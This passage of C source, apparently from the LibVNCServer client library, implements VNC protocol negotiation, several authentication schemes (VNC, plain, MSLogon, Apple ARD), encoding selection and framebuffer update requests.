tmphostlen + 1)) return FALSE; return TRUE; } extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); static void ReadReason(rfbClient* client) { uint32_t reasonLen; char *reason; if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; reasonLen = rfbClientSwap32IfLE(reasonLen); if(reasonLen > 1<<20) { rfbClientLog("VNC connection failed, but sent reason length of %u exceeds limit of 1MB",(unsigned int)reasonLen); return; } reason = malloc(reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); } rfbBool rfbHandleAuthResult(rfbClient* client) { uint32_t authResult=0; if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; authResult = rfbClientSwap32IfLE(authResult); switch (authResult) { case rfbVncAuthOK: rfbClientLog("VNC authentication succeeded\n"); return TRUE; break; case rfbVncAuthFailed: if (client->major==3 && client->minor>7) { /* we have an error following */ ReadReason(client); return FALSE; } rfbClientLog("VNC authentication failed\n"); return FALSE; case rfbVncAuthTooMany: rfbClientLog("VNC authentication failed - too many tries\n"); return FALSE; } rfbClientLog("Unknown VNC authentication result: %d\n", (int)authResult); return FALSE; } static rfbBool ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; rfbBool extAuthHandler; uint8_t tAuth[256]; char buf1[500],buf2[10]; uint32_t authScheme; rfbClientProtocolExtension* e; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); ReadReason(client); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop<count;loop++) { if (!ReadFromRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; rfbClientLog("%d) Received security type %d\n", loop, tAuth[loop]); if (flag) continue; extAuthHandler=FALSE; for (e = rfbClientExtensions; e; e = e->next) { if (!e->handleAuthentication) continue; uint32_t const* secType; for (secType = e->securityTypes; secType && *secType; secType++) { if (tAuth[loop]==*secType) { extAuthHandler=TRUE; } } } if (tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth || extAuthHandler || #if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL) tAuth[loop]==rfbVeNCrypt || #endif #ifdef LIBVNCSERVER_HAVE_SASL tAuth[loop]==rfbSASL || #endif /* LIBVNCSERVER_HAVE_SASL */ (tAuth[loop]==rfbARD && client->GetCredential) || (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) { if (!subAuth && client->clientAuthSchemes) { int i; for (i=0;client->clientAuthSchemes[i];i++) { if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) { flag++; authScheme=tAuth[loop]; break; } } } else { flag++; authScheme=tAuth[loop]; } if (flag) { rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); /* send back a single byte indicating which security type to use */ if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; } } } if (authScheme==0) { memset(buf1, 0, sizeof(buf1)); for (loop=0;loop<count;loop++) { if (strlen(buf1)>=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static rfbBool HandleVncAuth(rfbClient *client) { uint8_t challenge[CHALLENGESIZE]; char *passwd=NULL; int i; if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; if (client->serverPort!=-1) { /* if not playing a vncrec file */ if (client->GetPassword) passwd = client->GetPassword(client); if ((!passwd) || (strlen(passwd) == 0)) { rfbClientLog("Reading password failed\n"); return FALSE; } if (strlen(passwd) > 8) { passwd[8] = '\0'; } rfbClientEncryptBytes(challenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; } /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } static void FreeUserCredential(rfbCredential *cred) { if (cred->userCredential.username) free(cred->userCredential.username); if (cred->userCredential.password) free(cred->userCredential.password); free(cred); } static rfbBool HandlePlainAuth(rfbClient *client) { uint32_t ulen, ulensw; uint32_t plen, plensw; rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); ulensw = rfbClientSwap32IfLE(ulen); plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); plensw = rfbClientSwap32IfLE(plen); if (!WriteToRFBServer(client, (char *)&ulensw, 4) || !WriteToRFBServer(client, (char *)&plensw, 4)) { FreeUserCredential(cred); return FALSE; } if (ulen > 0) { if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) { FreeUserCredential(cred); return FALSE; } } if (plen > 0) { if (!WriteToRFBServer(client, cred->userCredential.password, plen)) { FreeUserCredential(cred); return FALSE; } } FreeUserCredential(cred); /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } /* Simple 64bit big integer arithmetic implementation */ /* (x + y) % m, works even if (x + y) > 64bit */ #define rfbAddM64(x,y,m) ((x+y)%m+(x+y<x?(((uint64_t)-1)%m+1)%m:0)) /* (x * y) % m */ static uint64_t rfbMulM64(uint64_t x, uint64_t y, uint64_t m) { uint64_t r; for(r=0;x>0;x>>=1) { if (x&1) r=rfbAddM64(r,y,m); y=rfbAddM64(y,y,m); } return r; } /* (x ^ y) % m */ static uint64_t rfbPowM64(uint64_t b, uint64_t e, uint64_t m) { uint64_t r; for(r=1;e>0;e>>=1) { if(e&1) r=rfbMulM64(r,b,m); b=rfbMulM64(b,b,m); } return r; } static rfbBool HandleMSLogonAuth(rfbClient *client) { uint64_t gen, mod, resp, priv, pub, key; uint8_t username[256], password[64]; rfbCredential *cred; if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; gen = rfbClientSwap64IfLE(gen); mod = rfbClientSwap64IfLE(mod); resp = rfbClientSwap64IfLE(resp); if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ "Use it only with SSH tunnel or trusted network.\n"); cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } memset(username, 0, sizeof(username)); strncpy((char *)username, cred->userCredential.username, sizeof(username)); memset(password, 0, sizeof(password)); strncpy((char *)password, cred->userCredential.password, sizeof(password)); FreeUserCredential(cred); srand(time(NULL)); priv = ((uint64_t)rand())<<32; priv |= (uint64_t)rand(); pub = rfbPowM64(gen, priv, mod); key = rfbPowM64(resp, priv, mod); pub = rfbClientSwap64IfLE(pub); key = rfbClientSwap64IfLE(key); rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT static rfbBool rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) { gcry_error_t error; size_t len; int i; error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); return FALSE; } for (i=size-1;i>(int)size-1-(int)len;--i) result[i] = result[i-size+len]; for (;i>=0;--i) result[i] = 0; return TRUE; } static rfbBool HandleARDAuth(rfbClient *client) { uint8_t gen[2], len[2]; size_t keylen; uint8_t *mod = NULL, *resp, *pub, *key, *shared; gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; gcry_md_hd_t md5 = NULL; gcry_cipher_hd_t aes = NULL; gcry_error_t error; uint8_t userpass[128], ciphertext[128]; int passwordLen, usernameLen; rfbCredential *cred = NULL; rfbBool result = FALSE; if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) { /* Application did not initialize gcrypt, so we should */ if (!gcry_check_version(GCRYPT_VERSION)) { /* Older version of libgcrypt is installed on system than compiled against */ rfbClientLog("libgcrypt version mismatch.\n"); } } while (1) { if (!ReadFromRFBServer(client, (char *)gen, 2)) break; if (!ReadFromRFBServer(client, (char *)len, 2)) break; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); break; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); break; } keylen = 256*len[0]+len[1]; mod = (uint8_t*)malloc(keylen*4); if (!mod) { rfbClientLog("malloc out of memory\n"); break; } resp = mod+keylen; pub = resp+keylen; key = pub+keylen; if (!ReadFromRFBServer(client, (char *)mod, keylen)) break; if (!ReadFromRFBServer(client, (char *)resp, keylen)) break; error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } privmpi = gcry_mpi_new(keylen); if (!privmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); pubmpi = gcry_mpi_new(keylen); if (!pubmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); keympi = gcry_mpi_new(keylen); if (!keympi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); if (!rfbMpiToBytes(pubmpi, pub, keylen)) break; if (!rfbMpiToBytes(keympi, key, keylen)) break; error = gcry_md_open(&md5, GCRY_MD_MD5, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); break; } gcry_md_write(md5, key, keylen); error = gcry_md_final(md5); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); break; } shared = gcry_md_read(md5, GCRY_MD_MD5); passwordLen = strlen(cred->userCredential.password)+1; usernameLen = strlen(cred->userCredential.username)+1; if (passwordLen > sizeof(userpass)/2) passwordLen = sizeof(userpass)/2; if (usernameLen > sizeof(userpass)/2) usernameLen = sizeof(userpass)/2; gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); memcpy(userpass, cred->userCredential.username, usernameLen); memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_setkey(aes, shared, 16); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); break; } if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) break; if (!WriteToRFBServer(client, (char *)pub, keylen)) break; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) break; result = TRUE; break; } if (cred) FreeUserCredential(cred); if (mod) free(mod); if (genmpi) gcry_mpi_release(genmpi); if (modmpi) gcry_mpi_release(modmpi); if (respmpi) gcry_mpi_release(respmpi); if (privmpi) gcry_mpi_release(privmpi); if (pubmpi) gcry_mpi_release(pubmpi); if (keympi) gcry_mpi_release(keympi); if (md5) gcry_md_close(md5); if (aes) gcry_cipher_close(aes); return result; } #endif /* * SetClientAuthSchemes. */ void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) { int i; if (client->clientAuthSchemes) { free(client->clientAuthSchemes); client->clientAuthSchemes = NULL; } if (authSchemes) { if (size<0) { /* If size<0 we assume the passed-in list is also 0-terminate, so we * calculate the size here */ for (size=0;authSchemes[size];size++) ; } client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); for (i=0;i<size;i++) client->clientAuthSchemes[i] = authSchemes[i]; client->clientAuthSchemes[size] = 0; } } /* * InitialiseRFBConnection. */ rfbBool InitialiseRFBConnection(rfbClient* client) { rfbProtocolVersionMsg pv; int major,minor; uint32_t authScheme; uint32_t subAuthScheme; rfbClientInitMsg ci; /* if the connection is immediately closed, don't report anything, so that pmw's monitor can make test connections */ if (client->listenSpecified) errorMessageOnReadFailure = FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg]=0; errorMessageOnReadFailure = TRUE; pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { rfbClientLog("Not a valid VNC server (%s)\n",pv); return FALSE; } DefaultSupportedMessages(client); client->major = major; client->minor = minor; /* fall back to viewer supported version */ if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) client->minor = rfbProtocolMinorVersion; /* UltraVNC uses minor codes 4 and 6 for the server */ if (major==3 && (minor==4 || minor==6)) { rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ if (major==3 && (minor==14 || minor==16)) { minor = minor - 10; client->minor = minor; rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* TightVNC uses minor codes 5 for the server */ if (major==3 && minor==5) { rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); DefaultSupportedMessagesTightVNC(client); } /* we do not support > RFB3.8 */ if ((major==3 && minor>8) || major>3) { client->major=3; client->minor=8; } rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; /* 3.7 and onwards sends a # of security types first */ if (client->major==3 && client->minor > 6) { if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; } else { if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; authScheme = rfbClientSwap32IfLE(authScheme); } rfbClientLog("Selected Security Scheme %d\n", authScheme); client->authScheme = authScheme; switch (authScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ case rfbMSLogon: if (!HandleMSLogonAuth(client)) return FALSE; break; case rfbARD: #ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT rfbClientLog("GCrypt support was not compiled in\n"); return FALSE; #else if (!HandleARDAuth(client)) return FALSE; #endif break; case rfbTLS: if (!HandleAnonTLSAuth(client)) return FALSE; /* After the TLS session is established, sub auth types are expected. * Note that all following reading/writing are through the TLS session from here. */ if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; client->subAuthScheme = subAuthScheme; switch (subAuthScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No sub authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", (int)subAuthScheme); return FALSE; } break; case rfbVeNCrypt: if (!HandleVeNCryptAuth(client)) return FALSE; switch (client->subAuthScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptX509None: rfbClientLog("No sub authentication needed\n"); if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVeNCryptTLSVNC: case rfbVeNCryptX509VNC: if (!HandleVncAuth(client)) return FALSE; break; case rfbVeNCryptTLSPlain: case rfbVeNCryptX509Plain: if (!HandlePlainAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbVeNCryptX509SASL: case rfbVeNCryptTLSSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", client->subAuthScheme); return FALSE; } break; default: { rfbBool authHandled=FALSE; rfbClientProtocolExtension* e; for (e = rfbClientExtensions; e; e = e->next) { uint32_t const* secType; if (!e->handleAuthentication) continue; for (secType = e->securityTypes; secType && *secType; secType++) { if (authScheme==*secType) { if (!e->handleAuthentication(client, authScheme)) return FALSE; if (!rfbHandleAuthResult(client)) return FALSE; authHandled=TRUE; } } } if (authHandled) break; } rfbClientLog("Unknown authentication scheme from VNC server: %d\n", (int)authScheme); return FALSE; } ci.shared = (client->appData.shareDesktop ? 1 : 0); if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */ client->desktopName = malloc((uint64_t)client->si.nameLength + 1); if (!client->desktopName) { rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", (unsigned long)client->si.nameLength); return FALSE; } if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; client->desktopName[client->si.nameLength] = 0; rfbClientLog("Desktop name \"%s\"\n",client->desktopName); rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", client->major, client->minor); rfbClientLog("VNC server default format:\n"); PrintPixelFormat(&client->si.format); return TRUE; } /* * SetFormatAndEncodings. */ rfbBool SetFormatAndEncodings(rfbClient* client) { rfbSetPixelFormatMsg spf; char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); int len = 0; rfbBool requestCompressLevel = FALSE; rfbBool requestQualityLevel = FALSE; rfbBool requestLastRectEncoding = FALSE; rfbClientProtocolExtension* e; if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; spf.type = rfbSetPixelFormat; spf.pad1 = 0; spf.pad2 = 0; spf.format = client->format; spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) return FALSE; if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; se->type = rfbSetEncodings; se->pad = 0; se->nEncodings = 0; if (client->appData.encodingsString) { const char *encStr = client->appData.encodingsString; int encStrLen; do { const char *nextEncStr = strchr(encStr, ' '); if (nextEncStr) { encStrLen = nextEncStr - encStr; nextEncStr++; } else { encStrLen = strlen(encStr); } if (strncasecmp(encStr,"raw",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; if (client->appData.enableJPEG) requestQualityLevel = TRUE; #endif #endif } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"trle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTRLE); } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); requestQualityLevel = TRUE; #endif } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { /* There are 2 encodings used in 'ultra' */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); } else { rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); } encStr = nextEncStr; } while (encStr && se->nEncodings < MAX_ENCODINGS); if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } else { if (SameMachine(client->sock)) { /* TODO: if (!tunnelSpecified) { */ rfbClientLog("Same machine: preferring raw encoding\n"); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); /* } else { rfbClientLog("Tunneling active: preferring tight encoding\n"); } */ } encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; #endif #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } else /* if (!tunnelSpecified) */ { /* If -tunnel option was provided, we assume that server machine is not in the local network so we use default compression level for tight encoding instead of fast compression. Thus we are requesting level 1 compression only if tunneling is not used. */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); } if (client->appData.enableJPEG) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } /* Remote Cursor Support (local to viewer) */ if (client->appData.useRemoteCursor) { if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); } /* Keyboard State Encodings */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); /* New Frame Buffer Size */ if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); /* Last Rect */ if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); /* Server Capabilities */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); /* xvp */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); /* client extensions */ for(e = rfbClientExtensions; e; e = e->next) if(e->encodings) { int* enc; for(enc = e->encodings; *enc; enc++) if(se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); } len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); if (!WriteToRFBServer(client, buf, len)) return FALSE; return TRUE; } /* * SendIncrementalFramebufferUpdateRequest. */ rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client) { return SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, TRUE); } /* * SendFramebufferUpdateRequest. */ rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) { rfbFramebufferUpdateRequestMsg fur; if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; fur.type = rfbFramebufferUpdateRequest; fur.incremental = incremental ? 1 : 0; fur.x = rfbClientSwap16IfLE(x); fur.y = rfbClientSwap16IfLE(y); fur.w = rfbClientSwap16IfLE(w); fur.h = rfbClientSwap16IfLE(h); if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) return FALSE; return TRUE; } /* * SendScaleSetting. */ rfbBool SendScaleSetting(rfbClient* client,int scaleSetting) { rfbSetScaleMsg ssm; ssm.scale = scaleSetting; ssm.pad = 0; /* favor UltraVNC SetScale if both are supported */ if (SupportsClient2Server(client, rfbSetScale)) { ssm.type = rfbSetScale; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { 